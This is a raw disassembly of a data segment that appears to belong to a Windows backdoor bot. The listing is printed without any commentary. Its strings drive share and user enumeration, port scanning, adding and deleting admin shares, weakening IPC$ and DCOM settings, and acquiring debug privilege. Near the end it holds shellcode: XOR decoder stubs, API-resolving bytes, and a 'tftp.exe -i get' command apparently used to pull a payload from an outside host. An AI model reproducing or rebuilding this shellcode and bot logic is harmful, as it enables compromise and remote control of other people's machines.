dword_436E9C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413053+89o
dd 2029206Ch, 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
dword_436ECC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413053+57o
dd 2029206Ch, 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_413248+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_413248+BCo
align 4
aYes db 'Yes',0 ; DATA XREF: sub_413248+B5o
dword_436F2C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413248+76o
dd 2029206Ch, 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_413248+26o
align 10h
dword_436FA0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413369+B6o
dd 2029206Ch, 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 10h
dword_436FE0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413369+94o
dd 2029206Ch, 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_437020 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413369+6Do
dd 2029206Ch, 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
dword_437054 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_4134AF+394o
dd 2029206Ch, 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 4
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_4134AF+36Ao
align 10h
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_4134AF+33Fo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_4134AF+317o
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_4134AF+2ECo
align 4
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_4134AF+2C4o
align 10h
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_4134AF+299o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_4134AF+271o
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_4134AF+246o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_4134AF+21Eo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_4134AF+1F3o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_4134AF+1CBo
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_4134AF+1A0o
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_4134AF+178o
align 4
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_4134AF+14Do
align 4
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_4134AF+125o
aGuest db 'Guest',0 ; DATA XREF: sub_4134AF:loc_4135C8o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_4134AF:loc_4135C1o
align 10h
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_4134AF+D4o
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_4134AF+ACo
align 10h
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_4134AF+81o
align 10h
aAccountS db 'Account: %S',0 ; DATA XREF: sub_4134AF+50o
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41387D+145o
align 4
dword_437214 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41387D:loc_41396Ao
dd 2029206Ch, 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 4
aS_5 db ' %S',0 ; DATA XREF: sub_41387D+BAo
align 4
dword_43725C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_41387D+7Ao
dd 2029206Ch, 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41387D+29o
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4139F3:loc_413B10o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4139F3:loc_413B09o
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4139F3:loc_413B02o
align 10h
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413AFBo
align 10h
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4139F3:loc_413AF4o
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_4139F3:loc_413AD7o
db 'ord policy requirement.)',0
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4139F3:loc_413AD0o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4139F3:loc_413AC9o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_4139F3+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_4139F3:loc_413A9Eo
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A97o
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_4139F3:loc_413A90o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4139F3:loc_413A86o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4139F3+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4139F3:loc_413A60o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4139F3:loc_413A56o
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4139F3:loc_413A4Co
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_4139F3:loc_413A42o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4139F3:loc_413A38o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4139F3+3Bo
align 10h
dword_437580 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413B27+ABo
dd 2029206Ch, 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
dword_4375BC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413B27+81o
dd 2029206Ch, 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413C50+119o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413C50+4Eo
; sub_413C50+99o
align 4
dword_437618 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413DFD:loc_413E8Ao
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListFai db ' Process list failed.',0
align 10h
dword_437650 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413DFD+86o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessListCom db ' Process list completed.',0
align 4
dword_43768C dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: sub_413DFD+19o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aListingProcess db ' Listing processes:',0
align 8
dword_4376C8 dd 736E6F63h ; DATA XREF: sub_414278+Fr
dd 74h, 0
dword_4376D4 dd 1 ; DATA XREF: sub_414278:loc_41429Fr
off_4376D8 dd offset sub_413F42 ; DATA XREF: sub_414278+4Ar
aLetter db 'letter',0
align 8
dd 2, 413FA0h, 706D6F63h, 2 dup(0)
dd 3, 413FEDh, 6E756F63h, 797274h, 0
dd 4, 41405Ch, 736Fh, 2 dup(0)
dd 5, 4140D1h
dword_43772C dd 69257325h, 0 ; DATA XREF: sub_413F42+40o
; seg001:0041403Do ...
dword_437734 dd 4350h ; DATA XREF: seg001:0041400Ao
dword_437738 dd 7C7325h ; DATA XREF: seg001:0041408Bo
dword_43773C dd 5D73255Bh, 7Ch ; DATA XREF: seg001:00414195o
dword_437744 dd 334B32h ; DATA XREF: seg001:00414185o
dword_437748 dd 5D64255Bh, 7325h ; DATA XREF: sub_4141DB+3Ao
dword_437750 dd 5D4D5Bh ; DATA XREF: sub_4141DB+2Co
; sub_4141DB+51o
unk_437754 db 2 ; DATA XREF: sub_4142E2+92o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0
unk_437790 db 2 ; DATA XREF: sub_4143AF+41o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0
align 10h
off_4377D0 dd offset dword_437808 ; DATA XREF: sub_414500:loc_4146B5r
; sub_414500+1C3r ...
dword_4377D4 dd 0 ; DATA XREF: sub_414826:loc_4149A7r
dd offset dword_437800
align 10h
dd offset dword_4377FC
dd offset dword_4377F8
dd offset dword_4377F4
dd offset dword_4377F0
dword_4377F0 dd 5C3A44h ; DATA XREF: seg001:004377ECo
dword_4377F4 dd 2444h ; DATA XREF: seg001:004377E8o
dword_4377F8 dd 5C3A43h ; DATA XREF: seg001:004377E4o
dword_4377FC dd 2443h ; DATA XREF: seg001:004377E0o
dword_437800 dd 494D4441h, 244Eh ; DATA XREF: seg001:004377D8o
dword_437808 dd 24435049h, 0 ; DATA XREF: seg001:off_4377D0o
unk_437810 db 2 ; DATA XREF: sub_414500+2E7o
; sub_414826+2DDo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0
align 4
unk_437854 db 2 ; DATA XREF: sub_414500+2D1o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesD db ' Network shares deleted.',0
align 10h
unk_437890 db 2 ; DATA XREF: sub_414500:loc_41476Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDelete db ' Failed to delete ',27h,'%S',27h,' share.',0
align 10h
unk_4378D0 db 2 ; DATA XREF: sub_414500+263o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDeleted_ db ' Share ',27h,'%S',27h,' deleted.',0
align 4
unk_437908 db 2 ; DATA XREF: sub_414500:loc_4146DAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToDele_0 db ' Failed to delete ',27h,'%s',27h,' share.',0
align 4
unk_437948 db 2 ; DATA XREF: sub_414500+1D3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSDelete_0 db ' Share ',27h,'%s',27h,' deleted.',0
align 10h
unk_437980 db 2 ; DATA XREF: sub_414500:loc_414632o
; sub_414826:loc_414954o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAdvapi32_dllCo db ' Advapi32.dll couldn',27h,'t be loaded.',0
align 8
unk_4379C8 db 2 ; DATA XREF: sub_414500:loc_41462Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenIp db ' Failed to open IPC$ Restriction registry key.',0
align 4
unk_437A18 db 2 ; DATA XREF: sub_414500:loc_414613o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aRestrictedAcce db ' Restricted access to the IPC$ Share.',0
align 10h
unk_437A60 db 2 ; DATA XREF: sub_414500+10Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToRestri db ' Failed to restrict access to the IPC$ Share.',0
align 10h
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_414500+EDo
; sub_414826+EDo
align 8
unk_437AC8 db 2 ; DATA XREF: sub_414500+91o
; sub_414826+91o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpenDc db ' Failed to open DCOM registry key.',0
align 4
dword_437B0C dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_414500:loc_414573o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6964204Dh
dd 6C626173h, 2E6465h
unk_437B3C db 2 ; DATA XREF: sub_414500+6Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aDisableDcomFai db ' Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_414500+54o
; sub_414826+54o
align 10h
word_437B80 dw 4Eh ; DATA XREF: sub_414500+38r
align 4
unk_437B84 db 2 ; DATA XREF: sub_414826+2C5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aNetworkSharesA db ' Network shares added.',0
align 4
aC_2 db '%c:\',0 ; DATA XREF: sub_414826+22Fo
align 4
aC_3 db '%c$',0 ; DATA XREF: sub_414826+21Eo
unk_437BC8 db 2 ; DATA XREF: sub_414826:loc_4149D3o
; sub_414826:loc_414A9Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToAddSSh db ' Failed to add ',27h,'%s',27h,' share.',0
align 4
unk_437C04 db 2 ; DATA XREF: sub_414826+1A6o
; sub_414826+271o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aShareSAdded_ db ' Share ',27h,'%s',27h,' added.',0
align 4
unk_437C38 db 2 ; DATA XREF: sub_414826:loc_41494Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToOpen_0 db ' Failed to open IPC$ restriction registry key.',0
align 4
unk_437C88 db 2 ; DATA XREF: sub_414826:loc_414935o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aUnrestrictedAc db ' Unrestricted access to the IPC$ Share.',0
unk_437CD0 db 2 ; DATA XREF: sub_414826+108o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aFailedToUnrest db ' Failed to unrestrict access to the IPC$ Share.',0
dword_437D20 dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
; DATA XREF: sub_414826:loc_414899o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 4F434420h, 6E65204Dh
dd 656C6261h, 2E64h
unk_437D50 db 2 ; DATA XREF: sub_414826+6Co
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aEnableDcomFail db ' Enable DCOM failed.',0
align 4
word_437D88 dw 59h ; DATA XREF: sub_414826+38r
align 10h
loc_437D90: ; DATA XREF: sub_414CD9+BEo
jmp short loc_437D94
; ---------------------------------------------------------------------------
loc_437D92: ; CODE XREF: seg001:loc_437D94p
jmp short loc_437D99
; ---------------------------------------------------------------------------
loc_437D94: ; CODE XREF: seg001:loc_437D90j
call loc_437D92
loc_437D99: ; CODE XREF: seg001:loc_437D92j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_437D9E dw 0FFFFh ; DATA XREF: sub_414CD9+C6w
db 80h, 73h, 0Eh
byte_437DA3 db 0FFh ; DATA XREF: sub_414CD9+CDw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_437DA8: ; DATA XREF: sub_414CD9+9Co
jmp short loc_437DAC
; ---------------------------------------------------------------------------
loc_437DAA: ; CODE XREF: seg001:loc_437DACp
jmp short loc_437DB1
; ---------------------------------------------------------------------------
loc_437DAC: ; CODE XREF: seg001:loc_437DA8j
call loc_437DAA
loc_437DB1: ; CODE XREF: seg001:loc_437DAAj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_437DB5 db 0FFh ; DATA XREF: sub_414CD9+A4w
dw 7380h
db 0Ch
byte_437DB9 db 0FFh ; DATA XREF: sub_414CD9+AAw
dw 0E243h
dd 0F9h
dword_437DC0 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_414B62+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_437E24 dd 12h ; DATA XREF: sub_414B62+3Dw
aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_414B62+79o
aJ_0 db 'j',0
db 0E8h
dword_437E3D dd 17h ; DATA XREF: sub_414B62+4Dw
; ---------------------------------------------------------------------------
jnz short near ptr byte_437E44
retn
; ---------------------------------------------------------------------------
byte_437E44 db 0E8h ; CODE XREF: seg001:00437E41j
dword_437E45 dd 1 ; DATA XREF: sub_414B62+45w
byte_437E49 db 0, 6Ah, 0 ; DATA XREF: sub_414B62+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_437E53 dd 0FFFFFFEDh ; DATA XREF: sub_414B62+5Dw
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_414E97+10o
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_415062+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_415062+35o
dword_437ED4 dd 29E2C0h ; DATA XREF: sub_415368+4w sub_415372r ...
align 10h
dword_437EE0 dd 173Fh ; DATA XREF: sub_415D04+Dr
dd 9875h, 9873h
off_437EEC dd offset sub_415DD3 ; DATA XREF: sub_41781Ar
dd offset nullsub_2
dd offset nullsub_2
dword_437EF8 dd 1B3Fh ; DATA XREF: sub_415E4B+Dr
dword_437EFC dd 19930520h, 4 dup(0) ; DATA XREF: sub_4162CD+2o
; sub_4162D6+2o
off_437F10 dd offset sub_417858 ; DATA XREF: sub_417C0E+1Cr
dword_437F14 dd 2 ; DATA XREF: sub_41D77C+Er
; sub_41D7B5+46r ...
off_437F18 dd offset aNull_0 ; DATA XREF: sub_417D6C:loc_4180D0r
; sub_417D6C+457r
; "(null)"
off_437F1C dd offset aNull ; DATA XREF: sub_417D6C+259r
; "(null)"
off_437F20 dd offset word_437F2A ; DATA XREF: sub_4157F4+23r
; sub_4157F4:loc_415855r ...
dd offset word_437F2A
db 2 dup(0)
word_437F2A dw 20h ; DATA XREF: sub_41EF5D+18r
; seg001:off_437F20o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43812C dd 1 ; DATA XREF: sub_4157F4:loc_4157FCr
; sub_4157F4:loc_415840r ...
byte_438130 db 2Eh ; DATA XREF: sub_41A7A3:loc_41A7E3r
; sub_41A7FD+4r ...
align 4
dd 1, 10h, 0
off_438140 dd offset off_438140 ; DATA XREF: sub_4197BC+Do
; sub_4197BC+69o ...
off_438144 dd offset off_438140 ; DATA XREF: sub_4197BC:loc_41983Cr
; sub_4197BC+89w ...
dd offset dword_438158
dd offset dword_438158
dword_438150 dd 0FFFFFFFFh ; DATA XREF: sub_4197BCr
; sub_419900:loc_41994Dw
dd 0FFFFFFFFh
dword_438158 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: seg001:00438148o
; seg001:0043814Co
off_43A160 dd offset off_438140 ; DATA XREF: sub_419900+15r
; sub_419900+20w ...
dword_43A164 dd 1E0h ; DATA XREF: sub_415C27:loc_415C63r
; sub_41737F+185r ...
dword_43A168 dd 14h ; DATA XREF: sub_41A4EC+2o
off_43A16C dd offset aExp ; DATA XREF: sub_41A4EC:loc_41A509r
; "exp"
dd 1Dh, 4217D4h, 1Ah, 4217D0h, 1Bh, 4217C8h, 1Fh, 4217C0h
dd 13h, 4217B8h, 21h, 4217B0h, 0Eh, 4217A8h, 0Dh, 4217A0h
dd 0Fh, 421798h, 10h, 421790h, 5, 421788h, 1Eh, 421784h
dd 12h, 421780h, 20h, 42177Ch, 0Ch, 421774h, 0Bh, 42176Ch
dd 15h, 421764h, 1Ch, 42175Ch, 19h, 421754h, 11h, 42174Ch
dd 18h, 421744h, 16h, 42173Ch, 17h, 421734h, 22h, 421730h
dd 23h, 42172Ch, 24h, 421728h
dbl_43A240 dq 1.797693134862316e308 ; DATA XREF: sub_41A227+B7r
; sub_41A227:loc_41A30Er ...
dd 0
dd 0FFF80000h
dbl_43A250 dq 1.797693134862316e308 ; DATA XREF: sub_41A227+92r
; sub_41A227:loc_41A2E6r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43A268 dt 2.3562723457267347066e313 ; DATA XREF: sub_41A6D4+Dr
; sub_41A6D4+1Fr
align 4
tbyte_43A274 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_41A6D4+31r
align 10h
off_43A280 dd offset sub_41AB68 ; DATA XREF: sub_415DEB+Fw
; sub_417D6C+3AAr
off_43A284 dd offset sub_41A7FD ; DATA XREF: sub_415DEB+5w
; sub_417D6C+3E2r
off_43A288 dd offset sub_41A863 ; DATA XREF: sub_415DEB+14w
; sub_41B605+430r
off_43A28C dd offset sub_41A7A3 ; DATA XREF: sub_415DEB+1Ew
; sub_417D6C+3CBr
off_43A290 dd offset sub_41A84B ; DATA XREF: sub_415DEB+28w
off_43A294 dd offset sub_41AB68 ; DATA XREF: sub_415DEB+32w
dd offset sub_41E79E
align 10h
dd offset sub_41B42C
off_43A2A4 dd offset sub_41B42C ; DATA XREF: sub_41B482+29r
dword_43A2A8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_41B605:loc_41BB6Co
dword_43A2B0 dd 5Dh, 0 ; DATA XREF: sub_41B605:loc_41BA5Co
byte_43A2B8 db 1 ; DATA XREF: sub_41C85D+E1r
db 2, 4, 8
align 10h
dword_43A2C0 dd 3A4h ; DATA XREF: sub_41C85D+2Fo
dword_43A2C4 dd 82798260h, 21h, 0 ; DATA XREF: sub_41C85D+11Dr
dword_43A2D0 dd 0DFA6h ; DATA XREF: sub_41C85D+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43A3B0 dd 1 ; DATA XREF: sub_41C85D+3Co
; sub_41CE74+Co
dword_43A3B4 dd 16h ; DATA XREF: sub_41CE74:loc_41CEA9r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
